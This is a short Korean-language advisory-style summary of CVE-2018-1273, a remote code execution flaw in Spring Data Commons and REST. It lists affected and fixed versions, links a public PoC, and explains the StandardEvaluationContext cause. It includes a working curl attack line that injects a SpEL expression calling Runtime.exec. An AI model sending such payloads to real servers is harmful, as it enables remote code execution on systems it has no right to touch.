취약점 ) CVE-2018-1273 Spring Remote code execution
CVE 취약점 코드
CVE-2018-1273
Vendor
Pivotal - Spring Framework
취약점 요약
Spring Data Common의 특정 버전에서 binding 관련 취약점 존재. 악의적인 사용자는 조작된 HTTP 매개변수를 전달하여 원격 코드 실행 공격 가능.
영향받는 버전
* Spring Data Commons 1.13 ~ 1.13.10
* Spring Data REST 2.6 ~ 2.6.10
* Spring Data Commons 2.0 ~ 2.0.5
* Srping Data REST 3.0 ~ 3.0.5
POC
https://github.com/wearearima/poc-cve-2018-1273
wearearima/poc-cve-2018-1273
POC for CVE-2018-1273. Contribute to wearearima/poc-cve-2018-1273 development by creating an account on GitHub.
github.com
공격구문
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
취약점 발생 코드
StandardEvaluationContext가 다양한 기능을 포함하여 임의의 코드 실행이 가능.
StandardEvaluationContext -> SimpleEvaluationContext으로 대체하여 제한된 권한을 설정.
java.lang.Runtime 및 java.lang.ProcessBuilder를 지원하지 않아 임의의 코드 실행이 불가능.
보완된 버전
* Spring Data REST 2.6.11(Ingalls SR11) 이상 업데이트 권고.
* Spring Data REST 3.0.6(Kay SR6) 이상 업데이트 권고.